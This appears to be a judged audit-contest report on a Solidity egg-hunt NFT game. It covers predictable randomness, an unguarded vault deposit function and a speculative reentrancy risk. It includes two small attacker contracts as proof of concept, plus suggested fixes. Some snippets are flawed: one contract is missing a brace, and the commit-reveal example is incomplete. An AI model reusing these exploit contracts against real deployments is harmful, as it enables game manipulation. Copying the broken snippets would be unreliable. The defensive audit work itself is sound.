Eggstravaganza

First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

EggHunt Game Ecosystem (EggHuntGame, EggVault, EggstravaganzaNFT)


Summary

This report identifies critical vulnerabilities in the EggHunt game ecosystem, including insecure pseudo-random number generation, insufficient access control, and reentrancy risks. The system’s current implementation exposes users to potential exploitation, such as unfair NFT minting and unauthorized vault operations.

Vulnerability Details

1. Insecure Pseudo-Random Number Generation

Location: EggHuntGame.solsearchForEgg()

Description:

The searchForEgg() function generates pseudo-randomness using block.timestamp and block.prevrandao, which are predictable values. Attackers can precompute favorable conditions to guarantee successful egg minting.

Attack Scenario:

  • A malicious contract calls searchForEgg() multiple times in a single transaction, exploiting the same block variables to manipulate outcomes.

  • Expected success rate becomes significantly higher than the defined eggFindThreshold (e.g., 20%).

payload

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;
interface IEggHuntGame {
function searchForEgg() external;
function eggsFound(address) external view returns (uint256);
}
contract EggHunter {
IEggHuntGame public game;
constructor(address gameAddress) {
game = IEggHuntGame(gameAddress);
}
function batchHunt(uint attempts) external {
for (uint i=0; i<attempts; i++) {
game.searchForEgg();
}
}
function getScore() external view returns (uint) {
return game.eggsFound(address(this));
}
}

2. Missing Access Control in Vault Operations

Location: EggVault.soldepositEgg()

Description:

The depositEgg() function lacks validation to ensure only the game contract can trigger it. Any address can spoof deposits, allowing fake NFTs to be stored in the vault.

Attack Scenario:

  • An attacker deploys a malicious contract to call depositEgg() with arbitrary token IDs, corrupting vault records.

payload

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;
interface IEggVault {
function depositEgg(uint tokenId, address depositor) external;
}
contract VaultAttacker {
IEggVault public vault;
constructor(address vaultAddress) {
vault = IEggVault(vaultAddress);
}
function fakeDeposit(uint tokenId) external
vault.depositEgg(tokenId, msg.sender);
}
}

3. Reentrancy Risk in Vault Withdrawals (Medium)

Location: EggVault.solwithdrawEgg()

Description:

Although the function follows checks-effects-interactions, the lack of reentrancy guards exposes it to risks if external dependencies are modified.

Impact

Vulnerability Potential Consequences
Predictable randomness Unfair NFT distribution; game economy manipulation.
Unauthorized vault deposits Fake NFTs stored in the vault; loss of user trust.
Reentrancy risks Funds/NFTs stolen if future upgrades introduce external calls.

Tools Used

  • Manual Code Review

  • Foundry

Recommendations

Critical Fixes

  1. Replace Insecure RNG:

    • Use Chainlink VRF for verifiable randomness.

    • Short-term workaround: Implement a commit-reveal scheme.

    // Commit-Reveal Example
    function commitSearch(bytes32 hash) external {
    commits[msg.sender] = hash;
    }
    function revealSearch(uint salt) external {
    require(keccak256(abi.encodePacked(salt)) == commits[msg.sender]);
    uint random = uint(keccak256(abi.encodePacked(salt, blockhash(block.number - 1)))) % 100;
    }
  2. Enforce Access Control:

    • Restrict depositEgg() to the game contract.

    modifier onlyGameContract() {
    require(msg.sender == address(eggHuntGame), "Unauthorized");
    _;
    }

High-Priority Fixes

  1. Validate NFT Approvals:

    function depositEggToVault(uint tokenId) external {
    require(eggNFT.getApproved(tokenId) == address(this), "Not approved");
    // ...
    }
  2. Add Reentrancy Guards:

    import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
    contract EggVault is Ownable, ReentrancyGuard {
    function withdrawEgg(uint tokenId) external nonReentrant { /* ... */ }
    }
Updates

Lead Judging Commences

m3dython Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Insecure Randomness

Insecure methods to generate pseudo-random numbers

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.